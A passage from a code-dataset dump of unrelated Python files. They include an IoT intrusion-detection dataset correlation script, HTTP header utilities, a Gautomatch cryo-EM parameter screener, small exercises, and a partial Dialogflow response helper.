=enc.fit_transform(np.expand_dims(temp_df[col].values, axis=1))\n new_df[col] = min_max_values.ravel()\n\n\n return new_df\n\ndef cramers_v(confusion_matrix):\n \"\"\" calculate Cramers V statistic for categorial-categorial association.\n uses correction from Bergsma and Wicher,\n Journal of the Korean Statistical Society 42 (2013): 323-328\n \"\"\"\n chi2 = ss.chi2_contingency(confusion_matrix)[0]\n n = confusion_matrix.sum()\n phi2 = chi2 / n\n r, k = confusion_matrix.shape\n phi2corr = max(0, phi2 - ((k-1)*(r-1))/(n-1))\n rcorr = r - ((r-1)**2)/(n-1)\n kcorr = k - ((k-1)**2)/(n-1)\n return np.sqrt(phi2corr / min((kcorr-1), (rcorr-1)))\n\ndef convert_df(file_path,datatypes, train_set=True):\n df=pd.read_csv(file_path)\n '''\n https://www.researchgate.net/publication/352055999_A_new_distributed_architecture_for_evaluating_AI-based_security_systems_at_the_edge_Network_TON_IoT_datasets\n We recommend that the researchers should remove the source and destination IP addresses and ports\n when they develop new machine learning algorithms.\n '''\n\n\n preprocess_df=preprocess(df,datatypes,all=True)\n print(preprocess_df.shape)\n print(preprocess_df.to_numpy()[:20000].shape)\n #sys.exit()\n\n distances=squareform(pdist([preprocess_df['label']==0].to_numpy()[:5000], metric='hamming'))\n\n sns.heatmap(distances, cmap=\"Greens\", annot=False, yticklabels=False, xticklabels=False)\n plt.savefig('results/corrMatrix.pdf')\n\n x=preprocess_df[preprocess_df['label']==0].to_numpy()[:2500] +preprocess_df[preprocess_df['label']==1].to_numpy()[:2500]\n print(x.shape)\n distances=squareform(pdist(x, metric='hamming'))\n\n sns.heatmap(distances, cmap=\"Greens\", annot=False, yticklabels=False, xticklabels=False)\n plt.savefig('results/corrMatrix.pdf')\n\n sys.exit()\n\n float_cols=[col for col in preprocess.benign_df.columns if preprocess.df[col].dtype=='float64']\n categorical_cols=[col for col in preprocess.benign_df.columns if col not in float_cols]\n\n cramer_vals=[]\n num=8\n for i in range(len(categorical_cols[:num])):\n rows=[]\n for j in range(len(categorical_cols[:num])):\n confusion_matrix = pd.crosstab(preprocess.df[categorical_cols[i]], preprocess.benign_df[categorical_cols[j]])\n cramer_val=cramers_v(confusion_matrix.values)\n #print(cramer_val)\n rows.append(cramer_val)\n cramer_vals.append(np.array(rows))\n cramer_vals=np.array(cramer_vals)\n\n #df_matrix = pd.DataFrame(cramer_vals,index=pd.Index(categorical_cols[:num]),columns=pd.Index(categorical_cols[:num]))\n\n plt.clf()\n sns.heatmap(cramer_vals, cmap=\"Greens\", annot=False, yticklabels=False, xticklabels=False)\n plt.show()\n\n plt.savefig('results/corrMatrix_anomal_new.png')\n sys.exit()\n\n return preprocess_dict\n\ndataset='ton_iot'\nif dataset=='ton_iot':\n from data_preprocess.drop_columns import ton_iot\n preprocess_dict=convert_df('../csv/ton_iot/Train_Test_Network.csv', ton_iot.datatypes, train_set=True, )\n #print(list(preprocess_dict.values())[0])\n #x=np.array([preprocess_dict.values()[0], preprocess_dict.values()[1]])\n #print(x.shape)\n #sys.exit()\n features=[]\n for key,val in preprocess_dict.items():\n print(key)\n print(val.shape)\n features.append(val)\n\n x=np.array(features)\n sim_matrix=np.corrcoef(x)\n\n print(sim_matrix)\n print(sim_matrix.shape)\n sys.exit()\n\n\nelif dataset=='iot23':\n from data_preprocess.drop_columns import iot23\n preprocess=convert_df('../csv/iot23/CTU-IoT-Malware-Capture-1-1.csv', iot23.datatypes, train_set=True, )\n\n '''print(\"here\")\n print(benign_np.shape)\n print(mal_np.shape)\n\n benign_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-3-1.csv',iot23.datatypes, train_set=True)\n mal_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-3-1.csv',iot23.datatypes, train_set=False)\n\n print(\"here\")\n print(benign_np.shape)\n print(mal_np.shape)\n\n benign_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-20-1.csv',iot23.datatypes, train_set=True)\n mal_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-20-1.csv',iot23.datatypes, train_set=False)\n print(\"here\")\n print(benign_np.shape)\n print(mal_np.shape)\n benign_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-21-1.csv',iot23.datatypes, train_set=True)\n mal_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-21-1.csv',iot23.datatypes, train_set=False)\n print(\"here\")\n print(benign_np.shape)\n print(mal_np.shape)\n\n benign_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-34-1.csv',iot23.datatypes, train_set=True)\n mal_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-34-1.csv',iot23.datatypes, train_set=False)\n print(\"here\")\n print(benign_np.shape)\n print(mal_np.shape)\n sys.exit()\n #TOO BIG\n #benign_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-35-1.csv',iot23.datatypes, train_set=True)\n #mal_np=df_to_np('csv/iot23/CTU-IoT-Malware-Capture-35-1.csv',iot23.datatypes, train_set=False)'''\n\n\nelif dataset=='unsw_nb15':\n from data_preprocess.drop_columns import unsw_n15\n benign_np =convert_df('../csv/unsw-nb15/UNSW_NB15_training-set.csv', unsw_n15.datatypes, train_set=True, )\n #X_train, X_test =benign_np, benign_np\n #feature_weights=calculate_weights(X_train)\n #feature_weights=None\n #print(X_train.shape)\n\n\n\n\n#similarity matrix\nfig, ax = plt.subplots()\nsns.heatmap(preprocess.benign_df.corr(method='pearson'), annot=False, fmt='.2f',\n cmap=plt.get_cmap('Blues'), cbar=False, ax=ax)\nax.set_yticklabels(ax.get_yticklabels(), rotation=\"horizontal\")\nplt.show()\nplt.savefig('results/heatmap.png', bbox_inches='tight', pad_inches=0.0)\n\n\n\n","repo_name":"mattgorb/id_lid_iot","sub_path":"old/similarity_matrix.py","file_name":"similarity_matrix.py","file_ext":"py","file_size_in_byte":7330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24390802276","text":"number_of_guests = int(input())\r\nguests = set()\r\nfor i in range(number_of_guests):\r\n guest = input()\r\n guests.add(guest)\r\ncommand = input()\r\nwhile not command == 'END':\r\n guests.remove(command)\r\n command = input()\r\nprint(len(guests))\r\nfor i in sorted(guests):\r\n print(i)","repo_name":"MartinDogandzhiyski/list_basics","sub_path":"softuni_python.py","file_name":"softuni_python.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73842641511","text":"def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n m, n = len(matrix), len(matrix[0])\n \n row_l, row_r = 0, m-1\n while row_l < row_r:\n mid = row_l + (row_r - row_l + 1) // 2\n if matrix[mid][0] == target:\n return True\n elif matrix[mid][0] > target:\n row_r = mid - 1\n else:\n row_l = mid\n \n col_l, col_r = 0, n-1\n while col_l <= col_r:\n mid = col_l + (col_r - col_l) // 2\n if matrix[row_l][mid] == target:\n return True\n elif matrix[row_l][mid] > target:\n col_r = mid - 1\n else:\n col_l = mid + 1\n return False","repo_name":"YuanyuanQiu/LeetCode","sub_path":"0074 Search a 2D Matrix.py","file_name":"0074 Search a 2D Matrix.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72450890472","text":"# -*— coding:utf-8 -*-\nfrom warnings import warn\n\nCHUNK_SIZE = 1024 * 10\n\n\ndef http_key(key):\n \"\"\"content-type --> Content-Type\"\"\"\n return key.replace('_', '-').title()\n\n\nclass Header(object):\n \"\"\"Store response header, Also be used in request._form and request._file.\n Header class support three ways to initialize:\n 1. Supply a dict object\n 2. DO NOT Supply a dict or list object, but gives key-value pairs\n 3. Supply a list object\n\n Data-structure:\n self._list = [(key1, value1), (key2, value2), ...]\n \"\"\"\n def __init__(self, _dict_list=None, base=True, *args, **kwargs):\n # self._list = [(key, value), (key, value), ...]\n self._list = []\n\n # Flag for judge whether this class is used to be a instance of HTTP Header.\n # Currently, it is useful when Header class is used in request._form and request._file\n self.base = base\n\n if not _dict_list:\n for key, value in dict(*args, **kwargs).iteritems():\n self._list.append((key, value))\n elif isinstance(_dict_list, dict):\n for key, value in _dict_list.iteritems():\n self._list.append((key, value))\n elif isinstance(_dict_list, list):\n self._list.extend(_dict_list)\n else:\n warn(\n 'The response head is initialized to None, '\n 'because the param is not dict or list.', UserWarning\n )\n\n def __setitem__(self, key, value):\n if isinstance(key, int):\n self._list[key] = value\n else:\n key = http_key(key) if self.base else key\n for _id, (_key, _value) in enumerate(self._list):\n if _key == key:\n self._list[_id] = (_key, str(_value))\n break\n else:\n self.add(key, str(value))\n\n def __getitem__(self, item):\n if isinstance(item, int):\n return self._list[item]\n item = http_key(item) if self.base else item\n for key, value in self._list:\n if key == item:\n return value\n\n def __delitem__(self, key):\n if isinstance(key, int):\n del self._list[key]\n else:\n key = http_key(key) if self.base else key\n for _id, _key, _value in enumerate(self._list):\n if key == _key:\n del self._list[_id]\n\n def __iter__(self):\n return iter(self._list)\n\n def add(self, key, value):\n self._list.append((key, value))\n\n def get(self, key):\n key = http_key(key) if self.base else key\n for _key, _value in self._list:\n if _key == key:\n return _value\n return None\n\n def head_to_list(self, charset='utf-8'):\n result = []\n for key, value in self:\n if isinstance(value, unicode):\n value = value.encode(charset)\n else:\n value = str(value)\n result.append((key, value))\n return result\n\n def __str__(self):\n string = ''\n for key, value in self.head_to_list():\n string += '%s: %s\\r\\n' % (key, value)\n return string\n\n\nclass EnvironHeader(object):\n \"\"\"A data structure for request.environ.\n It will convert the input key to a standard key when users want to\n get the value of key\n \"\"\"\n\n def __init__(self, environ):\n self.environ = environ\n\n def __len__(self):\n return len(dict(iter(self)))\n\n def __getitem__(self, item):\n item = self.handle_http_key(item)\n if item in ('CONTENT_LENGTH', 'CONTENT_TYPE'):\n return self.environ[item]\n return self.environ['HTTP_' + item]\n\n def __iter__(self):\n for key, value in self.environ.iteritems():\n if key.startswith('HTTP_') and \\\n key not in ('HTTP_CONTENT_LENGTH', 'HTTP_CONTENT_TYPE'):\n yield http_key(key[5:]), value\n elif key in ('CONTENT_LENGTH', 'CONTENT_TYPE'):\n yield http_key(key), value\n\n def handle_http_key(self, key):\n \"\"\"content-type --> CONTENT_TYPE\"\"\"\n return key.upper().replace('-', '_')\n\n\nclass IterStream(object):\n \"\"\"\n Make an instance of the object, which can get the data which size is limited.\n \"\"\"\n def __init__(self, stream, end):\n \"\"\"Init the IterStream.\n\n :param stream: the data stream\n :param end: the size of the data\n \"\"\"\n self._pos = 0\n self.end = end\n self._read = stream.read\n self._readline = stream.readline\n\n def __iter__(self):\n return self\n\n def next(self):\n line = self.readline()\n if not line:\n raise StopIteration()\n # if line[-2:] == '\\r\\n':\n # return line[:-2]\n return line\n\n def read(self, size=CHUNK_SIZE):\n \"\"\"Read the stream, if the size is given, read the constant size data.\"\"\"\n if self._pos >= self.end:\n return ''\n read = self._read(min(self.end-self._pos, size))\n self._pos += len(read)\n return read\n\n def readline(self, size=None):\n if self._pos >= self.end:\n return ''\n if size is None:\n size = self.end - self._pos\n else:\n size = min(self.end-self._pos, size)\n line = self._readline(size)\n\n self._pos += len(line)\n return line\n\n @property\n def is_exhausted(self):\n return self._pos >= self.end\n\n\nclass File(object):\n\n def __init__(self, stream, file_name, content_type='application/octet-stream'):\n self.file_name = file_name\n self.stream = stream\n self.content_type = content_type\n\n def read_data_from_stream(self, stream, chunk_size=CHUNK_SIZE):\n \"\"\"Get the constant size data from the stream. It is a generater.\"\"\"\n stream.seek(0)\n while True:\n data = stream.read(chunk_size)\n if not data:\n break\n yield data\n\n def create(self, destination):\n \"\"\"Create a new file, and set data of the stream into the file.\"\"\"\n with open(destination, 'w+b') as f:\n for data in self.read_data_from_stream(self.stream):\n f.write(data)\n self.close()\n\n def close(self):\n \"\"\"Close the underlying file if possible.\"\"\"\n try:\n self.stream.close()\n except:\n pass\n\n def __repr__(self):\n return '<%s: %r (%r)>' % (\n self.__class__.__name__,\n self.file_name,\n self.content_type\n )\n","repo_name":"EricQAQ/Puck","sub_path":"puck/data_structures.py","file_name":"data_structures.py","file_ext":"py","file_size_in_byte":6618,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"72"} +{"seq_id":"30794045905","text":"#!/usr/bin/python\n\nfrom pprint import pprint\nimport argparse\nimport os\nimport json\nimport sys\nfrom PIL import Image, ImageDraw, ImageFont\nfrom subprocess import Popen, PIPE\nimport shutil\nimport glob\nfrom concurrent.futures import ProcessPoolExecutor\n\nclass Gautomatcher(object):\n \n def __init__(self):\n super().__init__()\n self.parse_arguments()\n self.check_args()\n self.mrc_files = glob.glob(os.path.join(self.mrc_folder, '*.mrc'))\n \n \n def parse_arguments(self):\n parser = argparse.ArgumentParser()\n parser.add_argument('--mrc_folder', help='The folder with the input .mrc files.'\n ' Default: current directory')\n parser.add_argument('--jpg_in_folder', help='The folder with the input .jpg files.'\n ' Default: [mrc_folder]/jpgs')\n parser.add_argument('--jpg_out_folder', help='The folder where the jpg files will be '\n 'stored. Default: [mrc_folder]')\n parser.add_argument('--star_folder', help='The folder where the star files will '\n 'be stored. Default: [mrc_folder]/annotated')\n parser.add_argument('--matrix_file', help='The file containing the parameters'\n 'to be tested. Default: [mrc_folder]/test.json')\n parser.add_argument('--debug', help='Activate debug mode', action='store_true')\n parser.add_argument('--n_threads', help='Number of parallel threads for'\n ' execution. Default n=3')\n parser.add_argument('--default_params', help='A json file with starting parameters.'\n ' Give full path if not in mrc_folder'\n ' Default: [mrc_folder]/default_gautomatch_paramaters.json')\n parser.add_argument('--apixM', help='Pixel size in Angstrom')\n parser.add_argument('--diameter', help='Particle diameter, in Angstrom')\n parser.parse_args(namespace=self) \n return parser\n \n def check_args(self):\n #setting mrc_folder default / checking existence\n if not self.mrc_folder:\n self.mrc_folder = os.path.abspath(os.getcwd())\n else:\n if not os.path.isdir(self.mrc_folder):\n sys.exit('The mrc folder {} does not exist. Exiting now.'.format(\n self.mrc_folder))\n self.mrc_folder = os.path.abspath(self.mrc_folder)\n #setting jpg_in_folder default / checking existence\n if not self.jpg_in_folder:\n self.jpg_in_folder = os.path.join(self.mrc_folder, 'jpgs')\n if not os.path.isdir(self.jpg_in_folder):\n sys.exit('The jpg folder {} does not exist. Exiting now.'.format(\n self.jpg_in_folder))\n #setting jpg_in_folder default / creating jpg_in_folder \n if not self.jpg_out_folder:\n self.jpg_out_folder = self.mrc_folder\n if not os.path.isdir(self.jpg_out_folder):\n os.makedirs(self.jpg_out_folder)\n #setting star_folder default / creating star_folder \n if not self.star_folder:\n self.star_folder = os.path.join(self.mrc_folder, 'annotated')\n else:\n if not os.path.isdir(self.o):\n os.makedirs(self.o)\n #setting n_threads default\n if not self.n_threads:\n self.n_threads = 3\n #setting test default parameters file / checking existence:\n #more convenient to do it this way than using argparse's default= option\n if not self.default_params:\n self.default_params = os.path.join(self.mrc_folder, \n 'default_gautomatch_parameters.json')\n if not os.path.isfile(self.default_params):\n msg = f'The matrix file {self.default_params} does not exist. Exiting now.'\n sys.exit(msg)\n self.default = self._import_parameters(self.default_params)\n self._check_default_parameters(self.default)\n #setting test matrix file / checking existence:\n if not self.matrix_file:\n self.matrix_file = os.path.join(self.mrc_folder, 'test.json')\n self.test = self._import_parameters(self.matrix_file)\n if not os.path.isfile(self.matrix_file):\n msg = f'The matrix file {self.matrix_file} does not exist. Exiting now.'\n sys.exit(msg)\n #pixel size can be set via command line, or via defaults file. \n #command line overrides default file\n #needs to be type float\n if not self.apixM:\n self.apixM = self.default['apixM'] #already float\n else:\n self.apixM = float(self.apixM)\n #particle diameter can be set via command line, or via defaults file. \n #command line overrides default file\n #needs to be float type\n if not self.diameter:\n self.diameter = self.default['diameter'] #already float\n #box size for drawing on image\n self.box_size = float(self.diameter) / float(self.apixM)\n \n def pick_mrc(self, mrc):\n try:\n parms = self.test.copy() #otherwise we end up polluting def_parms\n parms['filein'] = mrc[0]\n gid = mrc[1] \n print('Processing {}'.format(mrc))\n for par in self.test:\n new_jpg = self.copy_jpg(mrc, self.mrc_folder, par)\n print('Created {}'.format(new_jpg))\n count = 1\n coords = {}\n #iterating over each parameter to test \n for value in self.test[par]:\n #creating folder and link names\n basename = '{}_{}'.format(par, value)\n out_folder = os.path.join(self.star_folder, basename)\n starfile = '{}_automatch.star'.format(os.path.basename(mrc[0]).replace('.mrc', ''))\n starfile = os.path.join(self.star_folder, basename, starfile)\n print(f'Running gautomatch with {par} at {value}')\n #doing the actual picking via gautomatch\n linkname = self.prepare_gautomatch_folder(parms['filein'],\n out_folder)\n print(gid)\n self.run_gautomatch(par, value, linkname, gid)\n #collect picked coordinates\n coords[str(count)] = self.read_coords(starfile)\n count += 1\n #create figure legend and annotate\n text_legend = self.create_legend(par, self.test[par])\n self.annotate_image(new_jpg, coords, text_legend)\n print('Done processing {}'.format(mrc))\n except Exception as e:\n print(e.__name__)\n print(e)\n return 1\n \n def prepare_gautomatch_folder(self, mrc, subfolder):\n '''\n gautomatch automatically generates filenames based on the name of the input\n inside the current working directory. so we make a subdirectory and run \n gautomatch from there, thus avoiding the overwriting of output files\n '''\n linkname = os.path.basename(mrc)\n try:\n os.mkdir(subfolder)\n except FileExistsError:\n pass #while self.testing\n os.chdir(subfolder)\n try:\n os.symlink(mrc, \n linkname)\n except FileExistsError:\n print('Uh oh cannot link to image')\n raise\n return linkname \n \n def run_gautomatch(self, parameter, value, linkname, gpuid=0):\n# cmd = 'gautomatch --apixM 1.76 --diameter 160 --speed {speed} --boxsize {boxsize} --min_dist {min_dist} --cc_cutoff {cc_cutoff} --lsigma_D {lsigma_D} --lsigma_cutoff {lsigma_cutoff} --lave_D {lave_d} --lave_max {lave_max} --lave_min {lave_min} --lp {lp} --hp {hp} {link}'.format(**parameter_set, link = linkname)\n test = f'--{parameter} {value}'\n default = ' '.join([f'--{p} {v}' for p, v in self.default.items() if p != parameter])\n gid = f'--gid {gpuid}'\n cmd = f'gautomatch {default} {test} {gid} {linkname}'\n with Popen(cmd.split(), stdout = PIPE, stderr = PIPE) as gautomatch:\n print(f'Running gautomatch on {linkname}')\n out_ga, err = gautomatch.communicate()\n print(f'Ran gautomatch on {linkname}')\n boxfile = '{}_automatch.box'.format(os.path.splitext(linkname)[0])\n with Popen(['wc', boxfile], stdout=PIPE, stderr=PIPE) as wc:\n out, err = wc.communicate()\n count = out.split()[0]\n os.chdir(self.mrc_folder)\n print(f'Picked {count} particles on {linkname}')\n return 1\n \n def prepare_subfolders(self):\n #make subfolders && clean annotated subfolder\n try:\n os.mkdir(self.jpg_in_folder)\n except FileExistsError:\n pass\n try:\n os.mkdir(self.star_folder)\n except FileExistsError:\n shutil.rmtree(self.star_folder)\n os.mkdir(self.star_folder)\n \n def check_jpgs_are_present(self):\n t = os.path.join(self.jpg_in_folder, '*.jpg')\n jpg_filenames = [os.path.basename(i).replace('.jpg', '') \n for i in glob.glob(t)]\n mrc_filenames = [os.path.basename(i).replace('.mrc', '') \n for i in self.mrc_files]\n return set(mrc_filenames) <= set(jpg_filenames)\n\n def draw_circles(self, coords, radius, image, thickness = 5,\n color = '#00ff00'):\n '''\n coords = [(x0,y0),...(xn,yn)] where x and y specify the center of the binding box\n radius = radius of the ellipse to be drawn\n image = the image where you want the ellipse to be drawn\n thickness = how thick the border of the ellipse should be\n outline = color of the outline\n '''\n draw = ImageDraw.Draw(image)\n for set in coords:\n for i in range(thickness):\n center_x = set[0]\n center_y = set[1]\n #relion gives the xy of the center of the circle; \n #PIL wants the xy of upper left corner of the binding box\n draw.ellipse((center_x-radius-i, center_y-radius+i, \n center_x+radius+i, center_y+radius-i),\n outline=color)\n return image\n \n def write_on_image(self, image, text, posxy, color='#00ff00'):\n font_file = '/usr/share/fonts/truetype/ubuntu-font-family/UbuntuMono-R.ttf'\n font = ImageFont.truetype(font_file, size=100)\n draw = ImageDraw.Draw(image)\n draw.text(posxy, text, font=font, fill=color)\n return image\n \n def read_coords(self, starfile):\n coords = []\n with open(starfile, 'r') as f:\n for line in f:\n if line[0].isdigit():\n coords.append((int(line.split()[0]),\n int(line.split()[1])))\n return coords\n \n def open_as_rgb(self, grayscale_image):\n img = Image.open(grayscale_image)\n # img.transpose(Image.FLIP_LEFT_RIGHT).transpose(Image.ROTATE_180)\n rgbimage = Image.new('RGB', img.size)\n rgbimage.paste(img)\n return rgbimage\n \n def create_legend(self, par,grid):\n text_legend = {'1': '{} = {}'.format(par, grid[0]),\n '2': '{} = {}'.format(par, grid[1]),\n '3': '{} = {}'.format(par, grid[2])}\n return text_legend\n \n def copy_jpg(self, mrc, out_folder, par):\n original_jpg =os.path.join(self.jpg_in_folder, \n os.path.basename(mrc[0]).replace('mrc', 'jpg')) \n new_jpg = os.path.basename(original_jpg).replace('.jpg', '_{}.jpg').format(par)\n new_jpg = os.path.join(self.mrc_folder, new_jpg)\n shutil.copy(original_jpg, new_jpg)\n return new_jpg\n \n def annotate_image(self, jpg, coords, text_legend):\n radius = int(self.box_size)\n colors = {'1': '#00ff00',\n '2': '#ff0000',\n '3': '#0000ff'}\n text_pos= {'1': (30,30),\n '2': (30,120),\n '3': (30,190)}\n for i in ['1','2','3']:\n rgbimage = self.open_as_rgb(jpg)\n rgbimage = self.draw_circles(coords[i], radius, rgbimage,\n color= colors[i])\n rgbimage = self.write_on_image(rgbimage, text_legend[i], text_pos[i], \n color = colors[i])\n rgbimage.save(jpg)\n radius += 6 \n \n def run_parallel(self):\n from itertools import cycle\n from pycuda import driver\n #initialize gpu driver simply to know gpu count\n driver.init()\n ngpus = driver.Device.count()\n #pre-map each file to one gpu.\n #note that we will let gautomatch do the assignment via the --gid flag\n cycler = cycle(range(ngpus))\n self.mrc_files = list(zip(self.mrc_files, cycler))\n with ProcessPoolExecutor(max_workers=3) as executor:\n executor.map(self.pick_mrc, self.mrc_files)\n \n def _run_sequential(self):\n #for debugging purposes since parallelization suppresses errors\n for f in self.mrc_files:\n f = (f, 0) # 0 = gpuid\n self.pick_mrc(f) \n \n def _import_parameters(self,parms_file):\n '''\n reads a json file with default parameters (i.e. not under test)\n returns a dictionary in the form {\"param\":value}\n where value can be int, float, str, [] or None as required\n '''\n with open(parms_file, 'r') as f:\n params = json.load(f)\n \n p = params.copy()\n for key, value in params.items():\n if value == 'None':\n del(p[key])\n continue\n if '[' in value:\n try:\n p[key]=(eval(value))\n except ValueError:\n msg = f'Malformed list of test parameters:\\n {key}:{value}'\n sys.exit(msg)\n try:\n if '.' in value:\n p[key]=float(value)\n else:\n p[key]=int(value) \n except ValueError:\n continue\n return p\n \n def _check_default_parameters(self, default_parms):\n '''\n input: a dictionary of parameters as defined by _import_parameters.\n checks that the default parameters are sane or throws an exception\n checks performed:\n 1 - some parameters are input files -> check existence\n '''\n to_check = ['exclusive_picking','excluded_suffix','global_excluded_box','T']\n for key in to_check:\n try: #these keys will only exist if the user specifies them. \n if not os.path.isfile(default_parms[key]): #The values are files. We check they exist\n msg=f'file not found for {key} in default parameters file {default_parms}'\n sys.exit(msg)\n except KeyError:\n pass \n \n \n def main(self):\n# assert self.check_jpgs_are_present(), 'Some jpg files are missing'\n self.prepare_subfolders()\n too_many_parms_msg = 'For practical reasons, I can only iterate over n==3 values of each parameter'\n for par in self.test:\n assert len(self.test[par]) == 3, too_many_parms_msg \n print(f'The script will iterate over the following parameters: {self.test}')\n if self.debug:\n self._run_sequential() #debug_mode\n else:\n self.run_parallel()\n \nif __name__ == '__main__':\n g = Gautomatcher()\n g.debug = 0\n g.main()\n\n\n","repo_name":"AGMMGA/EM_scripts_clean","sub_path":"gautomatch_screener.py","file_name":"gautomatch_screener.py","file_ext":"py","file_size_in_byte":16050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20291594581","text":"import turtle\nfrom Vector import Vector\n#A button object that can be placed anywhere on a screen\nclass Button:\n #------Initialiser------\n #Creates the button, asks for a size and origin, origin being the top left corner\n #The onClick defines what function is called when the button is clicked\n def __init__(self, size, origin, onClick):\n self.size = size\n self.origin = origin\n self.onClick = onClick\n self.draw()\n\n #------Methods/Functions------\n #Draws the button\n def draw(self):\n buttonTurtle = turtle.Turtle()\n buttonTurtle.hideturtle()\n buttonTurtle.penup()\n #Sets the initial position\n buttonTurtle.setpos(self.origin.x, self.origin.y)\n buttonTurtle.pendown()\n #Draws the top side\n buttonTurtle.setx(self.origin.x + self.size.x)\n #Draws the right side\n buttonTurtle.sety(self.origin.y - self.size.y)\n #Draws the bottom side\n buttonTurtle.setx(self.origin.x)\n #Finishes the button\n buttonTurtle.setpos(self.origin.x, self.origin.y)\n\n #Checks if the click location is in bounds\n def checkClick(self, x, y):\n #Calculates whether the x position is in bounds\n isXInBounds = x >= self.origin.x and x <= self.origin.x + self.size.x\n isYInBounds = y <= self.origin.y and y >= self.origin.y - self.size.y\n if isXInBounds and isYInBounds:\n #Runs the defined function\n self.onClick()\n\n#------Example Code------\n#Stores every button\nbuttons = []\n\n#This is where the buttons functionality goes\ndef buttonFunctionality():\n print(\"Button Clicked\")\n\n#Checks every button for input\ndef checkClick(x, y):\n for button in buttons:\n button.checkClick(x, y)\n\nif __name__ == \"__main__\":\n #Creates the turtle screen and sets it up\n turtle.Screen()\n turtle.tracer(0, 0)\n #Creates a button\n button = Button(size=Vector(x=100, y=20), origin=Vector(x=20, y=20), onClick=buttonFunctionality)\n #Updates hte screen with the buttons\n turtle.update()\n #Adds the button to the list of buttons\n buttons.append(button)\n #Defines the method called on click\n turtle.onscreenclick(checkClick)\n input()\n","repo_name":"JustAidanP/AdventCoding-2018","sub_path":"day4-button.py","file_name":"day4-button.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21179388731","text":"import warnings\n\nclass response_handler():\n \"\"\"\n The Class handles the creation of Dialogflow Responses\n\n .. note:: There are 2 types of Rich Responses which can be created using this class. They are: Generic Rich Responses and Google Assistant Rich Responses. Generic Responses work on all platforms except Google Assistant. Functions that create generic responses start with 'generic'. For Google Assistant, you should use Google Assistant Rich Responses. These functions start with 'google_assistant'\n \"\"\"\n def __init__(self):\n \"\"\"\n Constructor\n \"\"\"\n self.cardbtnlist = []\n self.gsuglist = []\n self.googleijson = []\n self.genericmessages = []\n self.contextlist = []\n self.gencardindex = -1\n self.gcarouselindex = -1\n self.gtableindex = -1\n self.gpermissionavail = False\n self.fulfiltextavail = False\n self.eventavail = False\n self.contextavail = False\n self.gcardadded = False\n #Context\n def add_context(self,sessionID,contextName,lifespan=0,params={}):\n \"\"\"\n Adds/Changes a Dialogflow Context\n\n :param sessionID: The Session ID\n :type sessionID: str\n :param contextName: The name of the Context to add/edit\n :type contextName: str\n :param lifespan: The number of conversational turns for which the context remains active, defaults to 0\n :type lifespan: int, optional\n :param params: The Dictionary of Data to store in the context, defaults to {}\n :type params: dict, optional\n \"\"\"\n self.contextlist.append({\"name\":sessionID+\"/contexts/\"+contextName,\"lifespanCount\":lifespan,\"parameters\":params})\n self.contextavail = True\n #Event Triggers\n def trigger_event(self,event,params,langcode=\"en-US\"):\n \"\"\"\n Triggers a Dialogflow Event\n\n :param event: The Name of the Event to Trigger\n :type event: str\n :param params: The Dictionary of Parameters\n :type params: dict\n :param langcode: The Language Code of the Agent, defaults to \"en-US\"\n :type langcode: str, optional\n\n .. note:: When the response contains event, other things are ignored (except Contexts)\n \"\"\"\n self.trigeventname = event\n self.trigeventparams = params\n self.triglangcode = langcode\n self.eventavail = True\n #Generic Responses\n def simple_response(self,speech):\n \"\"\"\n A Generic Text to be displayed or told to the user.\n\n :param speech: The Text to be displayed or said to the user\n :type speech: str\n\n .. note:: ``simple_response`` works on all platforms including Google Assistant. However, it is recommended to use ``google_assistant_response`` for Google Assistant and ``generic_rich_text_response`` for text responses on other platforms.\n \"\"\"\n self.ftext = speech\n self.fulfiltextavail = True\n #Generic Rich Responses\n def generic_rich_text_response(self,text):\n \"\"\"\n A Generic Rich Text Response to display to the user. Unlike ``generic_response``, you can have multiple ``generic_rich_text_response``\n\n :param text: The Text to be displayed to the user\n :type text: str\n \"\"\"\n self.genericmessages.append({\"text\":{\"text\":[text]}})\n def generic_card(self,title,**kwargs):\n \"\"\"\n A Generic Card to be displayed to the user\n\n :param title: The Title of the Card\n :type title: str\n :param subtitle: The Subitle of the Card\n :type subtitle: str, optional\n :param imageURL: The Link of the Image to be displayed on the card\n :type imageURL: str, optional\n \"\"\"\n imgurl = kwargs.get(\"imageURL\",\"\")\n subtitle = kwargs.get(\"subtitle\",\"\")\n fjson = {}\n if imgurl == \"\":\n fjson = {\"card\":{\"title\":title,\"subtitle\":subtitle}}\n else:\n fjson = {\"card\":{\"title\":title,\"subtitle\":subtitle,\"imageUri\":imgurl}}\n self.genericmessages.append(fjson)\n self.gencardindex = len(self.genericmessages)-1\n def generic_card_add_button(self,btntitle,btnlink):\n \"\"\"\n Adds a button to a Generic Card. When clicked, directs to a website\n\n :param btntitle: The button's title\n :type btntitle: str\n :param btnlink: The link to redirect to on click\n :type btnlink: str\n :raises AttributeError: This Error is Raised if a new button is added before calling ``generic_card``\n \"\"\"\n if self.gencardindex == -1:\n raise AttributeError(\"generic_card is not created\")\n else:\n try:\n self.genericmessages[self.gencardindex][\"card\"][\"buttons\"].append({\"text\":btntitle,\"postback\":btnlink})\n except:\n self.genericmessages[self.gencardindex][\"card\"][\"buttons\"] = []\n self.genericmessages[self.gencardindex][\"card\"][\"buttons\"].append({\"text\":btntitle,\"postback\":btnlink})\n def generic_add_suggestions(self,suggestionList,**kwargs):\n \"\"\"\n Adds Suggestion Chips/Quick Replies to be 